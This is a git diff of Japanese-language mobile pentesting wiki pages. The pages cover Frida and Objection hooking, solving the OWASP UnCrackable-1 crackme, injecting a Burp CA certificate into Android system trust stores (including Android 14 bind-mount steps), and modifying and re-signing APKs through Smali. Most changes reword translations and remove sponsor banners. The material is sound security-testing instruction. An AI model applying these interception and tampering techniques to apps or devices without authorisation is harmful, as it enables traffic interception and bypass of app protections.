``` -コマンド "**1**" は **終了** し、コマンド "**2**" はクラスの **インスタンスを見つけてプライベート関数** _**secret()**_ を呼び出し、コマンド "**3**" は関数 _**secret()**_ を **フック** して **異なる文字列** を **返します**。 +コマンド "**1**" は **終了** し、コマンド "**2**" はクラスの **インスタンスを見つけてプライベート関数** _**secret()**_ を呼び出し、コマンド "**3**" は **関数** _**secret()**_ を **フック** して **異なる文字列** を **返します**。 そのため、もし "**2**" を呼び出すと **本当の秘密** が得られますが、もし "**3**" を呼び出してから "**2**" を呼び出すと **偽の秘密** が得られます。 @@ -208,12 +202,7 @@ return this.setText(string_to_recv) } }) ``` -5の部分がありますが、新しい情報はないので説明しません。しかし、読みたい場合はここにあります: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) +パート5については、新しい情報がないため説明しませんが、読みたい場合はここにあります: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 81c4577ad..d4169b256 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,23 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} - -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## **はじめに** -**objection - ランタイムモバイルエクスプロレーション** +**objection - ランタイムモバイル探索** -[**Objection**](https://github.com/sensepost/objection)は、[Frida](https://www.frida.re)によって提供されるランタイムモバイルエクスプロレーションツールキットです。これは、脱獄またはルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。 +[**Objection**](https://github.com/sensepost/objection) は、[Frida](https://www.frida.re) によって提供されるランタイムモバイル探索ツールキットです。これは、脱獄やルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。 **注意:** これは脱獄/ルートバイパスの一形態ではありません。`objection`を使用することで、直面している適用可能なサンドボックスによって課せられたすべての制限に依然として制約されます。 ### 概要 -**objection**の**目標**は、ユーザーが**Fridaが提供する主要なアクションを呼び出す**ことを可能にすることです。**そうでなければ**、ユーザーはテストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります**。 +**objection**の**目標**は、ユーザーが**Fridaが提供する主要なアクションを呼び出す**ことを可能にすることです。**そうでなければ、**ユーザーはテストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります。 ## チュートリアル @@ -90,7 +86,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the 実際のアプリケーションでは、**静的分析**のおかげで、この部分で発見されたすべての情報を使用する前に知っておくべきです。それでも、この方法では、クラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られないため、**新しい何か**を見ることができるかもしれません。 -これは、アプリの**読みやすいソースコードを取得できない**場合にも役立ちます。 +これは、アプリの**可読なソースコードを取得できない**場合にも役立ちます。 #### アクティビティ、レシーバー、およびサービスのリスト ```bash @@ -153,7 +149,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d #### クラス全体をフック(監視)する -実際、クラス MainActivity のすべてのメソッドが非常に興味深いと思いますので、**すべてフックしましょう**。注意してください、これによりアプリケーションが**クラッシュ**する可能性があります。 +実際、クラス MainActivity のすべてのメソッドが非常に興味深いと思いますので、**すべてフック**しましょう。注意してください、これによりアプリケーションが**クラッシュ**する可能性があります。 ```bash android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` @@ -163,7 +159,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args -- #### 関数のブール戻り値を変更する -ソースコードから、関数 _checkPin_ が引数として _String_ を受け取り、_boolean_ を返すことがわかります。関数を**常にtrueを返す**ようにしましょう: +ソースコードから、関数_checkPin_が引数として_String_を受け取り、_boolean_を返すことがわかります。関数を**常にtrueを返す**ようにしましょう: ![](<../../../images/image (883).png>) @@ -173,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args -- ### クラスインスタンス -特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。これは、発見されたobjectionの文字列値を取得しようとした結果であり、通常は**オブジェクトのプロパティ値を含む**ものです。 +特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。発見されたobjectionの文字列値を取得しようとした結果は、通常、**オブジェクトのプロパティ値を含む**ものです。 ``` android heap print_instances ``` @@ -223,16 +219,12 @@ SQLiteデータベースと対話するには、コマンド`sqlite`を使用で ```bash exit ``` -## Objectionでの不足点 +## Objectionでの欠点 - フッキングメソッドは時々アプリケーションをクラッシュさせます(これはFridaのせいでもあります)。 -- クラスのインスタンスを使用してインスタンスの関数を呼び出すことができません。また、新しいクラスのインスタンスを作成してそれを使用して関数を呼び出すこともできません。 -- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカット(sslpinninのようなもの)がありません。 +- インスタンスのクラスを使用してインスタンスの関数を呼び出すことができません。また、新しいインスタンスを作成して関数を呼び出すこともできません。 +- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカット(sslpinninのようなもの)がありません。 - -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 0c2c7740e..790db3c97 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -2,22 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} --- **この記事の要約**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -## Solution 1 +## 解決策 1 -[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。 +[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づく -**\_exit()**関数を**フック**し、**decrypt function**を使用して、verifyを押したときにフリダコンソールにフラグを表示させます: +**\_exit()**\_関数をフックし、**decrypt function**を使用して、verifyを押したときにフリダコンソールにフラグを表示させます: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -120,10 +115,4 @@ return false send("Hooks installed.") }) ``` -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 8360f75ad..ee82c7dd8 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,17 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## 仮想マシンで -まず最初に、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。 +まず最初に、BurpからDer証明書をダウンロードする必要があります。これは_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_で行えます。 ![](<../../images/image (367).png>) -**Der形式で証明書をエクスポート**し、**Android**が**理解できる**形式に**変換**します。**AVDのAndroidマシンでburp証明書を設定するためには、**このマシンを**`-writable-system`**オプションで**実行する必要があります。\ +**Der形式で証明書をエクスポート**し、**Android**が**理解できる形式**に**変換**します。**AVDのAndroidマシンでburp証明書を設定するためには、**このマシンを**`-writable-system`**オプションで**実行する必要があります。\ 例えば、次のように実行できます: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system @@ -32,7 +29,7 @@ adb reboot #Now, reboot the machine ## Magiscを使用する -もし**Magiscでデバイスをルート化した**(エミュレーターかもしれません)場合、**前の手順**に従ってBurp証明書をインストールできない場合、**ファイルシステムが読み取り専用**で書き込み可能に再マウントできない場合、別の方法があります。 +もし**Magiscでデバイスをルート化した**(エミュレーターかもしれません)場合、**ファイルシステムが読み取り専用**で再マウントできないため、Burp証明書をインストールする前の**手順**に従えない場合、別の方法があります。 [**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次のことを行う必要があります: @@ -48,7 +45,7 @@ adb reboot #Now, reboot the machine
-- 再起動後、`信頼できる資格情報` -> `システム`に進み、Postswigger証明書がそこにあることを確認します。 +- 再起動後、`信頼できる資格情報` -> `システム`に進み、Postswigger証明書があることを確認します。
@@ -56,11 +53,11 @@ adb reboot #Now, reboot the machine 最新のAndroid 14リリースでは、システム信頼の証明書機関(CA)証明書の取り扱いに大きな変化が見られました。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納されており、ルート権限を持つユーザーによってアクセスおよび変更可能で、システム全体に即座に適用されていました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動され、**`/apex`**パス内のディレクトリであり、本質的に不変です。 -**APEX cacertsパス**を読み書き可能に再マウントしようとする試みは失敗に終わります。システムはそのような操作を許可しません。一時ファイルシステム(tmpfs)でディレクトリをアンマウントまたはオーバーレイしようとする試みも不変性を回避できず、アプリケーションはファイルシステムレベルでの変更に関係なく元の証明書データにアクセスし続けます。この耐性は、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないことを保証します。 +**APEX cacertsパス**を読み取り可能に再マウントしようとすると失敗し、システムはそのような操作を許可しません。一時ファイルシステム(tmpfs)でディレクトリをアンマウントまたはオーバーレイしようとする試みも不変性を回避できず、アプリケーションはファイルシステムレベルでの変更に関係なく元の証明書データにアクセスし続けます。この耐性は、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないことを保証します。 -Androidの初期化には`init`プロセスが関与しており、オペレーティングシステムを起動すると同時にZygoteプロセスも開始されます。このプロセスは、新しいマウントネームスペースを持つアプリケーションプロセスを起動する責任があり、プライベートな**`/apex`**マウントを含むため、このディレクトリへの変更を他のプロセスから隔離します。 +Androidの初期化には`init`プロセスが関与し、オペレーティングシステムを起動すると同時にZygoteプロセスも開始されます。このプロセスは、新しいマウントネームスペースを持つアプリケーションプロセスを起動する責任があり、プライベートな**`/apex`**マウントを含むため、このディレクトリへの変更を他のプロセスから隔離します。 -それでも、**`/apex`**ディレクトリ内のシステム信頼のCA証明書を変更する必要がある場合の回避策があります。これは、PRIVATE伝播を削除するために**`/apex`**を手動で再マウントし、書き込み可能にすることを含みます。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、読み取り専用制約を排除するために**`/apex/com.android.conscrypt`**ディレクトリをアンマウントし、その後、内容を**`/apex`**内の元の場所に復元することが含まれます。このアプローチは、システムクラッシュを避けるために迅速な行動を必要とします。これらの変更をシステム全体に適用するためには、`system_server`を再起動することが推奨されており、これによりすべてのアプリケーションが再起動され、システムが一貫した状態に戻ります。 +それでも、**`/apex`**ディレクトリ内のシステム信頼のCA証明書を変更する必要がある場合の回避策があります。これは、PRIVATE伝播を削除するために**`/apex`**を手動で再マウントし、書き込み可能にすることを含みます。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、読み取り専用制約を排除するために**`/apex/com.android.conscrypt`**ディレクトリをアンマウントし、その後、内容を**`/apex`**内の元の場所に復元することが含まれます。このアプローチは、システムクラッシュを避けるために迅速な行動を必要とします。これらの変更をシステム全体に適用するためには、`system_server`を再起動することが推奨され、これによりすべてのアプリケーションが再起動され、システムが一貫した状態に戻ります。 ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -124,25 +121,22 @@ echo "System certificate injected" ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **CA証明書の準備**: 書き込み可能なディレクトリのセットアップに続いて、使用する予定のCA証明書をこのディレクトリにコピーする必要があります。これには、`/apex/com.android.conscrypt/cacerts/`からデフォルトの証明書をコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。 -3. **Zygoteのバインドマウント**: `nsenter`を利用して、Zygoteのマウントネームスペースに入ります。ZygoteはAndroidアプリケーションを起動する責任を持つプロセスであり、このステップは以降に起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用することを保証するために必要です。使用されるコマンドは: +2. **CA証明書の準備**: 書き込み可能なディレクトリのセットアップに続いて、使用するCA証明書をこのディレクトリにコピーする必要があります。これには、`/apex/com.android.conscrypt/cacerts/`からデフォルトの証明書をコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。 +3. **Zygoteのバインドマウント**: `nsenter`を使用して、Zygoteのマウントネームスペースに入ります。ZygoteはAndroidアプリケーションを起動するプロセスであり、以降に起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用することを保証するためにこのステップが必要です。使用されるコマンドは: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` これにより、開始されるすべての新しいアプリが更新されたCA証明書の設定に従うことが保証されます。 -4. **実行中のアプリへの変更の適用**: 既に実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを実行します。必要なコマンドは: +4. **実行中のアプリへの変更の適用**: すでに実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを実行します。必要なコマンドは: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **代替アプローチ - ソフトリブート**: 代替手法は、`init`プロセス(PID 1)でバインドマウントを行い、その後`stop && start`コマンドでオペレーティングシステムをソフトリブートすることを含みます。このアプローチは、すべてのネームスペースに変更を伝播させ、各実行中のアプリを個別に対処する必要を回避します。しかし、この方法はリブートの不便さから一般的にはあまり好まれません。 +5. **代替アプローチ - ソフトリブート**: 代替手法は、`init`プロセス(PID 1)でバインドマウントを実行し、その後に`stop && start`コマンドでオペレーティングシステムをソフトリブートすることを含みます。このアプローチは、すべてのネームスペースに変更を伝播させ、各実行中のアプリを個別に対処する必要を回避します。しかし、この方法はリブートの不便さから一般的にはあまり好まれません。 ## 参考文献 - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 42e6003bb..2a8213df3 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -2,55 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**モバイルセキュリティ**の専門知識を8kSec Academyで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - -**詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) +**詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェア作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりもリバースエンジニアリングが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化したリバースエンジニアリングスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。 -### 重要なポイント: +### 重要なポイント: -- **Androidアプリのネイティブライブラリ:** +- **Androidアプリのネイティブライブラリ:** - パフォーマンス集約型タスクに使用されます。 - CまたはC++で書かれており、リバースエンジニアリングが難しいです。 -- `.so`(共有オブジェクト)形式で見つかり、Linuxバイナリに似ています。 +- Linuxバイナリに似た`.so`(共有オブジェクト)形式で見つかります。 - マルウェア作成者は分析を難しくするためにネイティブコードを好みます。 -- **Javaネイティブインターフェース(JNI)とAndroid NDK:** +- **Javaネイティブインターフェース(JNI)とAndroid NDK:** - JNIはJavaメソッドをネイティブコードで実装することを可能にします。 - NDKはネイティブコードを書くためのAndroid特有のツールセットです。 - JNIとNDKはJava(またはKotlin)コードとネイティブライブラリを橋渡しします。 -- **ライブラリの読み込みと実行:** +- **ライブラリの読み込みと実行:** - ライブラリは`System.loadLibrary`または`System.load`を使用してメモリに読み込まれます。 - JNI_OnLoadはライブラリの読み込み時に実行されます。 - Javaで宣言されたネイティブメソッドはネイティブ関数にリンクし、実行を可能にします。 -- **Javaメソッドとネイティブ関数のリンク:** -- **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。 -- **静的リンク:** `RegisterNatives`を使用してリンクし、関数名や構造に柔軟性を提供します。 -- **リバースエンジニアリングツールと技術:** +- **Javaメソッドとネイティブ関数のリンク:** +- **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。 +- **静的リンク:** `RegisterNatives`を使用してリンクし、関数名や構造に柔軟性を提供します。 +- **リバースエンジニアリングツールと技術:** - GhidraやIDA Proなどのツールはネイティブライブラリの分析に役立ちます。 - `JNIEnv`はJNI関数と相互作用を理解するために重要です。 - ライブラリの読み込み、メソッドのリンク、ネイティブ関数の特定を練習するための演習が提供されています。 -### リソース: +### リソース: -- **ARMアセンブリの学習:** +- **ARMアセンブリの学習:** - 基本的なアーキテクチャの理解を深めるために推奨されます。 -- Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されます。 -- **JNIとNDKのドキュメント:** +- Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されています。 +- **JNIとNDKのドキュメント:** - [OracleのJNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -- [AndroidのJNIのヒント](https://developer.android.com/training/articles/perf-jni) +- [AndroidのJNIヒント](https://developer.android.com/training/articles/perf-jni) - [NDKの始め方](https://developer.android.com/ndk/guides/) -- **ネイティブライブラリのデバッグ:** +- **ネイティブライブラリのデバッグ:** - [JEBデコンパイラを使用してAndroidネイティブライブラリをデバッグする](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -
- -**モバイルセキュリティ**の専門知識を8kSec Academyで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 659959c51..42570b4e6 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -1,24 +1,18 @@ -# Smali - Decompiling/\[Modifying]/Compiling +# Smali - デコンパイル/[修正]/コンパイル {{#include ../../banners/hacktricks-training.md}} -
+時には、隠された情報(おそらく非常に難読化されたパスワードやフラグ)にアクセスするためにアプリケーションコードを修正することが興味深い場合があります。そのため、apkをデコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。 -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: +**オプコードリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) -{% embed url="https://academy.8ksec.io/" %} +## 簡単な方法 -時には、隠された情報(おそらくよく難読化されたパスワードやフラグ)にアクセスするためにアプリケーションコードを変更することが興味深い場合があります。その場合、apkを逆コンパイルし、コードを変更して再コンパイルすることが興味深いかもしれません。 - -**オペコードのリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) - -## ファストウェイ - -**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、コマンドを実行することなく、アプリケーションを**自動的に逆コンパイル**、変更、**再コンパイル**、署名&インストールできます。 +**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、コマンドを実行することなく、アプリケーションを**自動的にデコンパイル**、修正、**再コンパイル**、署名&インストールできます。 この作業を大いに簡素化する**スクリプト**は[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)です。 -## APKを逆コンパイルする +## APKをデコンパイルする APKToolを使用すると、**smaliコードとリソース**にアクセスできます: ```bash @@ -28,21 +22,21 @@ apktool d APP.apk あなたが見るべき**興味深いファイルは**次の通りです: -- _res/values/strings.xml_(およびres/values/\*内のすべてのxml) +- _res/values/strings.xml_(およびres/values/*内のすべてのxml) - _AndroidManifest.xml_ - 拡張子が_.sqlite_または_.db_のファイル -もし`apktool`が**アプリケーションのデコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を確認するか、**`-r`**(リソースをデコードしない)という引数を使用してみてください。そうすれば、問題がリソースにあり、ソースコードにはない場合、問題は発生しません(リソースもデコンパイルされません)。 +もし`apktool`が**アプリケーションのデコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を確認するか、**`-r`**(リソースをデコードしない)という引数を使ってみてください。その後、問題がリソースにあり、ソースコードにない場合は、問題が発生しません(リソースもデコンパイルされません)。 ## Smaliコードの変更 -あなたは**命令を変更**したり、いくつかの変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使用してSmaliコードを変更します。その後、**smalise拡張機能**をインストールすると、エディタが**命令が不正であるかどうか**を教えてくれます。\ +あなたは**命令を変更**したり、いくつかの変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使ってSmaliコードを変更します。その後、**smalise拡張機能**をインストールすると、エディタが**命令が不正であるかどうか**を教えてくれます。\ いくつかの**例**はここにあります: - [Smali変更の例](smali-changes.md) - [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md) -または、[**以下にいくつかのSmali変更の説明を確認することができます**](smali-changes.md#modifying-smali)。 +または、[**以下のSmali変更の説明を確認することができます**](smali-changes.md#modifying-smali)。 ## APKの再コンパイル @@ -56,7 +50,7 @@ apktool b . #In the folder generated when you decompiled the application ### **新しいAPKに署名する** -次に、**キーを生成**する必要があります(パスワードといくつかの情報をランダムに入力するよう求められます): +次に、**キーを生成する**必要があります(パスワードといくつかの情報をランダムに入力するよう求められます): ```bash keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ``` @@ -73,13 +67,13 @@ zipalign -v 4 infile.apk ``` ### **新しいAPKに署名する(再度?)** -もしあなたが**jarsigner**の代わりに[**apksigner**](https://developer.android.com/studio/command-line/)を使用することを**好む**なら、**zipalignで最適化を適用した後にapkに署名する必要があります**。しかし、**アプリケーションには一度だけ署名すればよいことに注意してください**(zipalignの前にjarsignerで)または(zipalignの後にaspsignerで)。 +もしあなたが**apksigner**を使用することを**好む**場合、**最適化を適用した後にapkに署名する必要があります**。ただし、**アプリケーションには一度だけ署名する必要があることに注意してください**(zipalignの前にjarsignerで)または(zipalignの後にaspsignerで)。 ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk ``` ## Smaliの変更 -次のHello World Javaコードの場合: +次のHello World Javaコードについて: ```java public static void printHelloWorld() { System.out.println("Hello World") @@ -147,7 +141,7 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin - 関数内で宣言された変数(v0、v1、v2...)を使用する場合は、これらの行を _.local \_ と変数の宣言 (_const v0, 0x1_) の間に置いてください。 - 関数のコードの中間にログ記録コードを挿入したい場合: - - 宣言された変数の数に2を加えます:例:_.locals 10_ から _.locals 12_ へ。 + - 宣言された変数の数に2を加えます:例:_.locals 10_ から _.locals 12_ へ - 新しい変数は、すでに宣言された変数の次の番号である必要があります(この例では _v10_ と _v11_ で、v0から始まることを忘れないでください)。 - ログ記録関数のコードを変更し、_v5_ と _v1_ の代わりに _v10_ と _v11_ を使用します。 @@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーをご利用ください。自己学習型のコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 2519d19af..70e33a34e 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## **基本情報** -**Tapjacking**は、**悪意のある** **アプリケーション**が起動し、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、同時にその対話を被害者アプリに渡します。\ +**Tapjacking** は、**悪意のある** **アプリケーション** が起動し、**被害者アプリケーションの上に位置する** 攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、同時にその対話を被害者アプリに渡します。\ 実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。 ### 検出 -この攻撃に脆弱なアプリを検出するには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルターを持つアクティビティはデフォルトで自動的にエクスポートされることに注意してください)。エクスポートされたアクティビティを見つけたら、**それらが何らかの権限を必要とするか確認してください**。これは、**悪意のあるアプリケーションもその権限を必要とするためです**。 +この攻撃に対して脆弱なアプリを検出するには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルターを持つアクティビティはデフォルトで自動的にエクスポートされることに注意してください)。エクスポートされたアクティビティを見つけたら、**それらが何らかの権限を必要とするか確認してください**。これは、**悪意のあるアプリケーションもその権限を必要とするためです**。 ### 保護 #### Android 12 (API 31,32) 以降 -[**この情報源によると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、**tapjacking攻撃はAndroid 12 (API 31 & 30) 以降、Androidによって自動的に防止されます。したがって、アプリケーションが脆弱であっても、**それを悪用することはできません**。 +[**この情報源によると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、** tapjacking攻撃はAndroid 12 (API 31 & 30) 以降、Androidによって自動的に防止されます。したがって、アプリケーションが脆弱であっても、**それを悪用することはできません**。 #### `filterTouchesWhenObscured` -**`android:filterTouchesWhenObscured`**が**`true`**に設定されている場合、`View`は別の可視ウィンドウによってウィンドウが隠されているときにタッチを受け取ることはありません。 +**`android:filterTouchesWhenObscured`** が **`true`** に設定されている場合、`View` 